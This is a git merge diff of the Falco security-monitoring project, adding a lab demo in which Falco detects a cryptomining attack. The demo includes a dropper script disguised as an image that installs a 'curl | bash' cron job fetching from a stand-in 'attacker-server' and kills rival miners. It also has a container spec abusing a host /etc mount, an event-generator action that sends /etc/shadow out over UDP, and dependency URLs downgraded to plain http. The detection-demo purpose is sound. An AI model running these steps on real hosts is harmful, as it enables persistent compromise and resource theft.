Merge remote-tracking branch 'origin/dev' into agent-master

Tests fix for https://github.com/draios/falco/issues/339. Depends on
https://github.com/draios/sysdig/pull/1091.

.travis.yml

@@ -17,6 +17,7 @@ install:
     - curl -Lo avocado-36.0-tar.gz https://github.com/avocado-framework/avocado/archive/36.0lts.tar.gz
     - tar -zxvf avocado-36.0-tar.gz
     - cd avocado-36.0lts
+    - sed -e 's/libvirt-python>=1.2.9/libvirt-python>=1.2.9,<4.1.0/' < requirements.txt  > /tmp/requirements.txt && mv /tmp/requirements.txt ./requirements.txt
     - sudo -H pip install -r requirements.txt
     - sudo python setup.py install
     - cd ../falco

CHANGELOG.md

@@ -2,6 +2,24 @@
 
 This file documents all notable changes to Falco. The release numbering uses [semantic versioning](http://semver.org).
 
+## v0.9.0
+
+Released 2018-01-18
+
+### Bug Fixes
+
+* Fix driver incompatibility problems with some linux kernel versions that can disable pagefault tracepoints [[#sysdig/1034](https://github.com/draios/sysdig/pull/1034)]
+* Fix OSX Build incompatibility with latest version of libcurl [[#291](https://github.com/draios/falco/pull/291)]
+
+### Minor Changes
+
+* Updated the Kubernetes example to provide an additional example: Daemon Set using RBAC and a ConfigMap for configuration. Also expanded the documentation for both the RBAC and non-RBAC examples. [[#309](https://github.com/draios/falco/pull/309)]
+
+### Rule Changes
+
+* Refactor the shell-related rules to reduce false positives. These changes significantly decrease the scope of the rules so they trigger only for shells spawned below specific processes instead of anywhere. [[#301](https://github.com/draios/falco/pull/301)] [[#304](https://github.com/draios/falco/pull/304)]
+* Lots of rule changes based on feedback from Sysdig Secure community [[#293](https://github.com/draios/falco/pull/293)] [[#298](https://github.com/draios/falco/pull/298)] [[#300](https://github.com/draios/falco/pull/300)] [[#307](https://github.com/draios/falco/pull/307)] [[#315](https://github.com/draios/falco/pull/315)]
+
 ## v0.8.1
 
 Released 2017-10-10

CMakeLists.txt

@@ -78,7 +78,7 @@ else()
         set(ZLIB_INCLUDE "${ZLIB_SRC}")
         set(ZLIB_LIB "${ZLIB_SRC}/libz.a")
         ExternalProject_Add(zlib
-		URL "https://s3.amazonaws.com/download.draios.com/dependencies/zlib-1.2.8.tar.gz"
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/zlib-1.2.8.tar.gz"
 		URL_MD5 "44d667c142d7cda120332623eab69f40"
 		CONFIGURE_COMMAND "./configure"
 		BUILD_COMMAND ${CMD_MAKE}
@@ -104,7 +104,7 @@ else()
         set(JQ_INCLUDE "${JQ_SRC}")
         set(JQ_LIB "${JQ_SRC}/.libs/libjq.a")
         ExternalProject_Add(jq
-                URL "https://s3.amazonaws.com/download.draios.com/dependencies/jq-1.5.tar.gz"
+                URL "http://s3.amazonaws.com/download.draios.com/dependencies/jq-1.5.tar.gz"
                 URL_MD5 "0933532b086bd8b6a41c1b162b1731f9"
                 CONFIGURE_COMMAND ./configure --disable-maintainer-mode --enable-all-static --disable-dependency-tracking
                 BUILD_COMMAND ${CMD_MAKE} LDFLAGS=-all-static
@@ -134,7 +134,7 @@ else()
 	set(CURSES_LIBRARIES "${CURSES_BUNDLE_DIR}/lib/libncurses.a")
 	message(STATUS "Using bundled ncurses in '${CURSES_BUNDLE_DIR}'")
 	ExternalProject_Add(ncurses
-		URL "https://s3.amazonaws.com/download.draios.com/dependencies/ncurses-6.0-20150725.tgz"
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/ncurses-6.0-20150725.tgz"
 		URL_MD5 "32b8913312e738d707ae68da439ca1f4"
 		CONFIGURE_COMMAND ./configure --without-cxx --without-cxx-binding --without-ada --without-manpages --without-progs --without-tests --with-terminfo-dirs=/etc/terminfo:/lib/terminfo:/usr/share/terminfo
 		BUILD_COMMAND ${CMD_MAKE}
@@ -161,7 +161,7 @@ else()
 	set(B64_INCLUDE "${B64_SRC}/include")
 	set(B64_LIB "${B64_SRC}/src/libb64.a")
 	ExternalProject_Add(b64
-		URL "https://s3.amazonaws.com/download.draios.com/dependencies/libb64-1.2.src.zip"
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/libb64-1.2.src.zip"
 		URL_MD5 "a609809408327117e2c643bed91b76c5"
 		CONFIGURE_COMMAND ""
 		BUILD_COMMAND ${CMD_MAKE}
@@ -215,7 +215,7 @@ else()
 	message(STATUS "Using bundled openssl in '${OPENSSL_BUNDLE_DIR}'")
 
 	ExternalProject_Add(openssl
-		URL "https://s3.amazonaws.com/download.draios.com/dependencies/openssl-1.0.2j.tar.gz"
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/openssl-1.0.2j.tar.gz"
 		URL_MD5 "96322138f0b69e61b7212bc53d5e912b"
 		CONFIGURE_COMMAND ./config shared --prefix=${OPENSSL_INSTALL_DIR}
 		BUILD_COMMAND ${CMD_MAKE}
@@ -246,7 +246,7 @@ else()
 
 	ExternalProject_Add(curl
 		DEPENDS openssl
-		URL "https://s3.amazonaws.com/download.draios.com/dependencies/curl-7.56.0.tar.bz2"
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/curl-7.56.0.tar.bz2"
 		URL_MD5 "e0caf257103e0c77cee5be7e9ac66ca4"
 		CONFIGURE_COMMAND ./configure ${CURL_SSL_OPTION} --disable-shared --enable-optimize --disable-curldebug --disable-rt --enable-http --disable-ftp --disable-file --disable-ldap --disable-ldaps --disable-rtsp --disable-telnet --disable-tftp --disable-pop3 --disable-imap --disable-smb --disable-smtp --disable-gopher --disable-sspi --disable-ntlm-wb --disable-tls-srp --without-winssl --without-darwinssl --without-polarssl --without-cyassl --without-nss --without-axtls --without-ca-path --without-ca-bundle --without-libmetalink --without-librtmp --without-winidn --without-libidn --without-nghttp2 --without-libssh2 --disable-threaded-resolver
 		BUILD_COMMAND ${CMD_MAKE}
@@ -280,7 +280,7 @@ else()
 	set(LUAJIT_INCLUDE "${LUAJIT_SRC}")
 	set(LUAJIT_LIB "${LUAJIT_SRC}/libluajit.a")
 	ExternalProject_Add(luajit
-		URL "https://s3.amazonaws.com/download.draios.com/dependencies/LuaJIT-2.0.3.tar.gz"
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/LuaJIT-2.0.3.tar.gz"
 		URL_MD5 "f14e9104be513913810cd59c8c658dc0"
 		CONFIGURE_COMMAND ""
 		BUILD_COMMAND ${CMD_MAKE}
@@ -310,7 +310,7 @@ else()
 	endif()
 	ExternalProject_Add(lpeg
 		DEPENDS ${LPEG_DEPENDENCIES}
-		URL "https://s3.amazonaws.com/download.draios.com/dependencies/lpeg-1.0.0.tar.gz"
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/lpeg-1.0.0.tar.gz"
 		URL_MD5 "0aec64ccd13996202ad0c099e2877ece"
 		BUILD_COMMAND LUA_INCLUDE=${LUAJIT_INCLUDE} "${PROJECT_SOURCE_DIR}/scripts/build-lpeg.sh" "${LPEG_SRC}/build"
 		BUILD_IN_SOURCE 1
@@ -345,7 +345,7 @@ else()
 	set(LIBYAML_LIB "${LIBYAML_SRC}/.libs/libyaml.a")
 	message(STATUS "Using bundled libyaml in '${LIBYAML_SRC}'")
 	ExternalProject_Add(libyaml
-		URL "https://s3.amazonaws.com/download.draios.com/dependencies/libyaml-0.1.4.tar.gz"
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/libyaml-0.1.4.tar.gz"
 		URL_MD5 "4a4bced818da0b9ae7fc8ebc690792a7"
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
@@ -381,7 +381,7 @@ else()
 	endif()
 	ExternalProject_Add(lyaml
 		DEPENDS ${LYAML_DEPENDENCIES}
-		URL "https://s3.amazonaws.com/download.draios.com/dependencies/lyaml-release-v6.0.tar.gz"
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/lyaml-release-v6.0.tar.gz"
                 URL_MD5 "dc3494689a0dce7cf44e7a99c72b1f30"
                 BUILD_COMMAND ${CMD_MAKE}
                 BUILD_IN_SOURCE 1

README.md

@@ -2,7 +2,7 @@
 
 #### Latest release
 
-**v0.8.1**
+**v0.9.0**
 Read the [change log](https://github.com/draios/falco/blob/dev/CHANGELOG.md)
 
 Dev Branch: [![Build Status](https://travis-ci.org/draios/falco.svg?branch=dev)](https://travis-ci.org/draios/falco)<br />

cpack/debian/conffiles

@@ -1,3 +1,4 @@
 /etc/falco/falco.yaml
 /etc/falco/falco_rules.yaml
+/etc/falco/application_rules.yaml
 /etc/falco/falco_rules.local.yaml

docker/dev/Dockerfile

@@ -14,8 +14,7 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
 
 ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
 
-RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
- && apt-get update \
+RUN apt-get update \
  && apt-get install -y --no-install-recommends \
 	bash-completion \
 	curl \
@@ -24,18 +23,11 @@ RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources
 	ca-certificates \
 	gcc \
 	gcc-5 \
-	gcc-4.9 && rm -rf /var/lib/apt/lists/*
+	gdb && rm -rf /var/lib/apt/lists/*
 
-# Since our base Debian image ships with GCC 5.0 which breaks older kernels, revert the
-# default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
-# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7
-# by symlinking it to 4.9
-
-RUN rm -rf /usr/bin/gcc \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.8 \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.7 \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.6
+# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
+# default to gcc-5.
+RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
 
 RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
  && curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \

docker/event-generator/event_generator.cpp

@@ -50,6 +50,8 @@ void usage(char *program)
 	printf("                                                     then read a sensitive file\n");
 	printf("          write_rpm_database                         Write to files below /var/lib/rpm\n");
 	printf("          spawn_shell                                Run a shell (bash)\n");
+	printf("                                                     Used by spawn_shell_under_httpd below\n");
+	printf("          spawn_shell_under_httpd                    Run a shell (bash) under a httpd process\n");
 	printf("          db_program_spawn_process                   As a database program, try to spawn\n");
 	printf("                                                     another program\n");
 	printf("          modify_binary_dirs                         Modify a file below /bin\n");
@@ -64,7 +66,7 @@ void usage(char *program)
 	printf("          non_sudo_setuid                            Setuid as a non-root user\n");
 	printf("          create_files_below_dev                     Create files below /dev\n");
 	printf("          exec_ls                                    execve() the program ls\n");
-	printf("                                                     (used by user_mgmt_binaries below)\n");
+	printf("                                                     (used by user_mgmt_binaries, db_program_spawn_process)\n");
 	printf("          user_mgmt_binaries                         Become the program \"vipw\", which triggers\n");
 	printf("                                                     rules related to user management programs\n");
 	printf("          exfiltration                               Read /etc/shadow and send it via udp to a\n");
@@ -230,9 +232,14 @@ void spawn_shell() {
 	}
 }
 
+void spawn_shell_under_httpd() {
+	printf("Becoming the program \"httpd\" and then spawning a shell\n");
+	respawn("./httpd", "spawn_shell", "0");
+}
+
 void db_program_spawn_process() {
-	printf("Becoming the program \"mysql\" and then spawning a shell\n");
-	respawn("./mysqld", "spawn_shell", "0");
+	printf("Becoming the program \"mysql\" and then running ls\n");
+	respawn("./mysqld", "exec_ls", "0");
 }
 
 void modify_binary_dirs() {
@@ -360,6 +367,7 @@ map<string, action_t> defined_actions = {{"write_binary_dir", write_binary_dir},
 					 {"read_sensitive_file_after_startup", read_sensitive_file_after_startup},
 					 {"write_rpm_database", write_rpm_database},
 					 {"spawn_shell", spawn_shell},
+					 {"spawn_shell_under_httpd", spawn_shell_under_httpd},
 					 {"db_program_spawn_process", db_program_spawn_process},
 					 {"modify_binary_dirs", modify_binary_dirs},
 					 {"mkdir_binary_dirs", mkdir_binary_dirs},
@@ -375,7 +383,7 @@ map<string, action_t> defined_actions = {{"write_binary_dir", write_binary_dir},
 
 // Some actions don't directly result in suspicious behavior. These
 // actions are excluded from the ones run with -a all.
-set<string> exclude_from_all_actions = {"exec_ls", "network_activity"};
+set<string> exclude_from_all_actions = {"spawn_shell", "exec_ls", "network_activity"};
 
 void create_symlinks(const char *program)
 {

docker/local/Dockerfile

@@ -14,8 +14,7 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
 
 ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
 
-RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
- && apt-get update \
+RUN apt-get update \
  && apt-get install -y --no-install-recommends \
 	bash-completion \
 	curl \
@@ -24,19 +23,11 @@ RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources
 	ca-certificates \
 	gcc \
 	gcc-5 \
-	gcc-4.9 \
 	dkms && rm -rf /var/lib/apt/lists/*
 
-# Since our base Debian image ships with GCC 5.0 which breaks older kernels, revert the
-# default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
-# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7
-# by symlinking it to 4.9
-
-RUN rm -rf /usr/bin/gcc \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.8 \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.7 \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.6
+# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
+# default to gcc-5.
+RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
 
 RUN ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
 

docker/stable/Dockerfile

@@ -14,8 +14,7 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
 
 ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
 
-RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
- && apt-get update \
+RUN apt-get update \
  && apt-get install -y --no-install-recommends \
 	bash-completion \
 	curl \
@@ -23,19 +22,11 @@ RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources
 	ca-certificates \
 	gnupg2 \
 	gcc \
-	gcc-5 \
-	gcc-4.9 && rm -rf /var/lib/apt/lists/*
+	gcc-5 && rm -rf /var/lib/apt/lists/*
 
-# Since our base Debian image ships with GCC 5.0 which breaks older kernels, revert the
-# default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
-# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7
-# by symlinking it to 4.9
-
-RUN rm -rf /usr/bin/gcc \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.8 \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.7 \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.6
+# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
+# default to gcc-5.
+RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
 
 RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
  && curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \

examples/bad-mount-cryptomining/README.md

@@ -0,0 +1,117 @@
+# Demo of Falco Detecting Cryptomining Exploit
+
+## Introduction
+
+Based on a [blog post](https://sysdig.com/blog/detecting-cryptojacking/) we wrote, this example shows how an overly permissive container environment can be exploited to install cryptomining software and how use of the exploit can be detected using Sysdig Falco.
+
+Although the exploit in the blog post involved modifying the cron configuration on the host filesystem, in this example we keep the host filesystem untouched. Instead, we have a container play the role of the "host", and set up everything using [docker-compose](https://docs.docker.com/compose/) and [docker-in-docker](https://hub.docker.com/_/docker/).
+
+## Requirements
+
+In order to run this example, you need Docker Engine >= 1.13.0 and docker-compose >= 1.10.0, as well as curl.
+
+## Example architecture
+
+The example consists of the following:
+
+* `host-machine`: A docker-in-docker instance that plays the role of the host machine. It runs a cron daemon and an independent copy of the docker daemon that listens on port 2375. This port is exposed to the world, and this port is what the attacker will use to install new software on the host.
+* `attacker-server`: A nginx instance that serves the malicious files and scripts using by the attacker.
+* `falco`: A Falco instance to detect the suspicious activity. It connects to the docker daemon on `host-machine` to fetch container information.
+
+All of the above are configured in the docker-compose file [demo.yml](./demo.yml).
+
+A separate container is created to launch the attack:
+
+* `docker123321-mysql` An [alpine](https://hub.docker.com/_/alpine/) container that mounts /etc from `host-machine` into /mnt/etc within the container. The json container description is in the file [docker123321-mysql-container.json](./docker123321-mysql-container.json).
+
+## Example Walkthrough
+
+### Start everything using docker-compose
+
+To make sure you're starting from scratch, first run `docker-compose -f demo.yml down -v` to remove any existing containers, volumes, etc.
+
+Then run `docker-compose -f demo.yml up --build` to create the `host-machine`, `attacker-server`, and `falco` containers.
+
+You will see fairly verbose output from dockerd:
+
+```
+host-machine_1     | crond: crond (busybox 1.27.2) started, log level 6
+host-machine_1     | time="2018-03-15T15:59:51Z" level=info msg="starting containerd" module=containerd revision=9b55aab90508bd389d7654c4baf173a981477d55 version=v1.0.1
+host-machine_1     | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.content.v1.content"..." module=containerd type=io.containerd.content.v1
+host-machine_1     | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.snapshotter.v1.btrfs"..." module=containerd type=io.containerd.snapshotter.v1
+```
+
+When you see log output like the following, you know that falco is started and ready:
+
+```
+falco_1            | Wed Mar 14 22:37:12 2018: Falco initialized with configuration file /etc/falco/falco.yaml
+falco_1            | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.yaml
+falco_1            | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.local.yaml
+```
+
+### Launch malicious container
+
+To launch the malicious container, we will connect to the docker instance running in `host-machine`, which has exposed port 2375 to the world. We create and start a container via direct use of the docker API (although you can do the same via `docker run -H http://localhost:2375 ...`.
+
+The script `launch_malicious_container.sh` performs the necessary POSTs:
+
+* `http://localhost:2375/images/create?fromImage=alpine&tag=latest`
+* `http://localhost:2375/containers/create?&name=docker123321-mysql`
+* `http://localhost:2375/containers/docker123321-mysql/start`
+
+Run the script via `bash launch_malicious_container.sh`.
+
+### Examine cron output as malicious software is installed & run
+
+`docker123321-mysql` writes the following line to `/mnt/etc/crontabs/root`, which corresponds to `/etc/crontabs/root` on the host:
+
+```
+* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s
+```
+
+It also touches the file `/mnt/etc/crontabs/cron.update`, which corresponds to `/etc/crontabs/cron/update` on the host, to force cron to re-read its cron configuration. This ensures that every minute, cron will download the script (disguised as [logo3.jpg](attacker_files/logo3.jpg))  from `attacker-server` and run it.
+
+You can see `docker123321-mysql` running by checking the container list for the docker instance running in `host-machine` via `docker -H localhost:2375 ps`. You should see output like the following:
+
+```
+CONTAINER ID        IMAGE               COMMAND                  CREATED              STATUS              PORTS               NAMES
+68ed578bd034        alpine:latest       "/bin/sh -c 'echo '*…"   About a minute ago   Up About a minute                       docker123321-mysql
+```
+
+Once the cron job runs, you will see output like the following:
+
+```
+host-machine_1     | crond: USER root pid 187 cmd curl -s http://attacker-server:8220/logo3.jpg | bash -s
+host-machine_1     | ***Checking for existing Miner program
+attacker-server_1  | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /logo3.jpg HTTP/1.1" 200 1963 "-" "curl/7.58.0" "-"
+host-machine_1     | ***Killing competing Miner programs
+host-machine_1     | ***Reinstalling cron job to run Miner program
+host-machine_1     | ***Configuring Miner program
+attacker-server_1  | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /config_1.json HTTP/1.1" 200 50 "-" "curl/7.58.0" "-"
+attacker-server_1  | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /minerd HTTP/1.1" 200 87 "-" "curl/7.58.0" "-"
+host-machine_1     | ***Configuring system for Miner program
+host-machine_1     | vm.nr_hugepages = 9
+host-machine_1     | ***Running Miner program
+host-machine_1     | ***Ensuring Miner program is alive
+host-machine_1     |   238 root       0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
+host-machine_1     | /var/tmp
+host-machine_1     | runing.....
+host-machine_1     | ***Ensuring Miner program is alive
+host-machine_1     |   238 root       0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
+host-machine_1     | /var/tmp
+host-machine_1     | runing.....
+```
+
+### Observe Falco detecting malicious activity
+
+To observe Falco detecting the malicious activity, you can look for `falco_1` lines in the output. Falco will detect the container launch with the sensitive mount:
+
+```
+falco_1            | 22:37:24.478583438: Informational Container with sensitive mount started (user=root command=runc:[1:CHILD] init docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
+falco_1            | 22:37:24.479565025: Informational Container with sensitive mount started (user=root command=sh -c echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && sleep 300 docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
+```
+
+### Cleanup
+
+To tear down the environment, stop the script using ctrl-C and remove everything using `docker-compose -f demo.yml down -v`.
+

examples/bad-mount-cryptomining/attacker-nginx.conf

@@ -0,0 +1,14 @@
+server {
+    listen       8220;
+    server_name  localhost;
+
+    location / {
+        root   /usr/share/nginx/html;
+        index  index.html index.htm;
+    }
+
+    error_page   500 502 503 504  /50x.html;
+    location = /50x.html {
+        root   /usr/share/nginx/html;
+    }
+}

examples/bad-mount-cryptomining/attacker_files/config_1.json

@@ -0,0 +1 @@
+{"config": "some-bitcoin-miner-config-goes-here"}

examples/bad-mount-cryptomining/attacker_files/logo3.jpg

@@ -0,0 +1,64 @@
+#!/bin/sh
+echo "***Checking for existing Miner program"
+ps -fe|grep jaav |grep -v grep
+if [ $? -eq 0 ]
+then
+pwd
+else
+
+echo "***Killing competing Miner programs"
+rm -rf /var/tmp/ysjswirmrm.conf
+rm -rf /var/tmp/sshd
+ps auxf|grep -v grep|grep -v ovpvwbvtat|grep "/tmp/"|awk '{print $2}'|xargs -r kill -9
+ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs -r kill -9
+ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs -r kill -9
+ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs -r kill -9
+ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs -r kill -9
+ps auxf|grep -v grep|grep "ysjswirmrm"|awk '{print $2}'|xargs -r kill -9
+
+echo "***Reinstalling cron job to run Miner program"
+crontab -r || true && \
+echo "* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s" >> /tmp/cron || true && \
+crontab /tmp/cron || true && \
+rm -rf /tmp/cron || true
+
+echo "***Configuring Miner program"
+curl -so /var/tmp/config.json http://attacker-server:8220/config_1.json
+curl -so /var/tmp/jaav http://attacker-server:8220/minerd
+chmod 777 /var/tmp/jaav
+cd /var/tmp
+
+echo "***Configuring system for Miner program"
+cd /var/tmp
+proc=`grep -c ^processor /proc/cpuinfo`
+cores=$(($proc+1))
+num=$(($cores*3))
+/sbin/sysctl -w vm.nr_hugepages=$num
+
+echo "***Running Miner program"
+nohup ./jaav -c config.json -t `echo $cores` >/dev/null &
+fi
+
+echo "***Ensuring Miner program is alive"
+ps -fe|grep jaav |grep -v grep
+if [ $? -eq 0 ]
+then
+pwd
+else
+
+echo "***Reconfiguring Miner program"
+curl -so /var/tmp/config.json http://attacker-server:8220/config_1.json
+curl -so /var/tmp/jaav http://attacker-server:8220/minerd
+chmod 777 /var/tmp/jaav
+cd /var/tmp
+
+echo "***Reconfiguring system for Miner program"
+proc=`grep -c ^processor /proc/cpuinfo`
+cores=$(($proc+1))
+num=$(($cores*3))
+/sbin/sysctl -w vm.nr_hugepages=$num
+
+echo "***Restarting Miner program"
+nohup ./jaav -c config.json -t `echo $cores` >/dev/null &
+fi
+echo "runing....."

examples/bad-mount-cryptomining/attacker_files/minerd

@@ -0,0 +1,8 @@
+#!/bin/bash
+
+while true; do
+      echo "Mining bitcoins..."
+      sleep 60
+done
+
+      

examples/bad-mount-cryptomining/demo.yml

@@ -0,0 +1,41 @@
+version: '3'
+
+volumes:
+  host-filesystem:
+  docker-socket:
+
+services:
+  host-machine:
+    privileged: true
+    build:
+      context: ${PWD}/host-machine
+      dockerfile: ${PWD}/host-machine/Dockerfile
+    volumes:
+      - host-filesystem:/etc
+      - docker-socket:/var/run
+    ports:
+      - "2375:2375"
+    depends_on:
+      - "falco"
+
+  attacker-server:
+    image: nginx:latest
+    ports:
+      - "8220:8220"
+    volumes:
+      - ${PWD}/attacker_files:/usr/share/nginx/html
+      - ${PWD}/attacker-nginx.conf:/etc/nginx/conf.d/default.conf
+    depends_on:
+      - "falco"      
+  
+  falco:
+    image: sysdig/falco:latest
+    privileged: true
+    volumes:
+      - docker-socket:/host/var/run
+      - /dev:/host/dev
+      - /proc:/host/proc:ro
+      - /boot:/host/boot:ro
+      - /lib/modules:/host/lib/modules:ro
+      - /usr:/host/usr:ro
+    tty: true

examples/bad-mount-cryptomining/docker123321-mysql-container.json

@@ -0,0 +1,7 @@
+{
+    "Cmd": ["/bin/sh", "-c", "echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && touch /mnt/etc/crontabs/cron.update && sleep 300"],
+    "Image": "alpine:latest",
+    "HostConfig": {
+	"Binds": ["/etc:/mnt/etc"]
+    }
+}

examples/bad-mount-cryptomining/host-machine/Dockerfile

@@ -0,0 +1,12 @@
+FROM docker:stable-dind
+
+RUN set -ex \
+    && apk add --no-cache \
+    bash curl
+
+COPY start-cron-and-dind.sh /usr/local/bin
+
+ENTRYPOINT ["start-cron-and-dind.sh"]
+CMD []
+
+

examples/bad-mount-cryptomining/host-machine/start-cron-and-dind.sh

@@ -0,0 +1,11 @@
+#!/bin/sh
+
+# Start docker-in-docker, but backgrounded with its output still going
+# to stdout/stderr.
+dockerd-entrypoint.sh &
+
+# Start cron in the foreground with a moderate level of debugging to
+# see job output.
+crond -f -d 6
+
+

examples/bad-mount-cryptomining/launch_malicious_container.sh

@@ -0,0 +1,14 @@
+#!/bin/sh
+
+echo "Pulling alpine:latest image to docker-in-docker instance"
+curl -X POST 'http://localhost:2375/images/create?fromImage=alpine&tag=latest'
+
+echo "Creating container mounting /etc from host-machine"
+curl -H 'Content-Type: application/json' -d @docker123321-mysql-container.json -X POST 'http://localhost:2375/containers/create?&name=docker123321-mysql'
+
+echo "Running container mounting /etc from host-machine"
+curl -H 'Content-Type: application/json' -X POST 'http://localhost:2375/containers/docker123321-mysql/start'
+
+
+
+

examples/k8s-using-daemonset/README.md

@@ -1,5 +1,92 @@
-# Example K8s Services for Falco
+# Example Kubernetes Daemon Sets for Sysdig Falco
 
-The yaml file in this directory installs the following:
- - Open Source Falco, as a DaemonSet. Falco is configured to communicate with the K8s API server via its service account, and changes its output to be K8s-friendly. It also sends to a slack webhook for the `#demo-falco-alerts` channel on our [public slack](https://sysdig.slack.com/messages/demo-falco-alerts/).
- - The [Falco Event Generator](https://github.com/draios/falco/wiki/Generating-Sample-Events), as a deployment that ensures it runs on exactly 1 node.
+This directory gives you the required YAML files to stand up Sysdig Falco on Kubernetes as a Daemon Set. This will result in a Falco Pod being deployed to each node, and thus the ability to monitor any running containers for abnormal behavior. 
+
+The two options are provided to deploy a Daemon Set:
+- `k8s-with-rbac` - This directory provides a definition to deploy a Daemon Set on Kubernetes with RBAC enabled.
+- `k8s-without-rbac` - This directory provides a definition to deploy a Daemon Set on Kubernetes without RBAC enabled. 
+
+Also provided:
+- `falco-event-generator-deployment.yaml` - A Kubernetes Deployment to generate sample events. This is useful for testing, but note it will generate a large number of events.
+
+## Deploying to Kubernetes with RBAC enabled
+
+Since v1.8 RBAC has been available in Kubernetes, and running with RBAC enabled is considered the best practice. The `k8s-with-rbac` directory provides the YAML to create a Service Account for Falco, as well as the ClusterRoles and bindings to grant the appropriate permissions to the Service Account.
+
+```
+k8s-using-daemonset$ kubectl create -f k8s-with-rbac/falco-account.yaml
+serviceaccount "falco-account" created
+clusterrole "falco-cluster-role" created
+clusterrolebinding "falco-cluster-role-binding" created
+k8s-using-daemonset$
+```
+
+The Daemon Set also relies on a Kubernetes ConfigMap to store the Falco configuration and make the configuration available to the Falco Pods. This allows you to manage custom configuration without rebuilding and redeploying the underlying Pods. In order to create the ConfigMap you'll need to first need to copy the required configuration from their location in this GitHub repo to the `k8s-with-rbac/falco-config/` directory. Any modification of the configuration should be performed on these copies rather than the original files.
+
+```
+k8s-using-daemonset$ cp ../../falco.yaml k8s-with-rbac/falco-config/
+k8s-using-daemonset$ cp ../../rules/falco_rules.* k8s-with-rbac/falco-config/
+```
+
+If you want to send Falco alerts to a Slack channel, you'll want to modify the `falco.yaml` file to point to your Slack webhook. For more information on getting a webhook URL for your Slack team, refer to the [Slack documentation](https://api.slack.com/incoming-webhooks). Add the below to the bottom of the `falco.yaml` config file you just copied to enable Slack messages.
+
+```
+program_output:
+  enabled: true
+  keep_alive: false
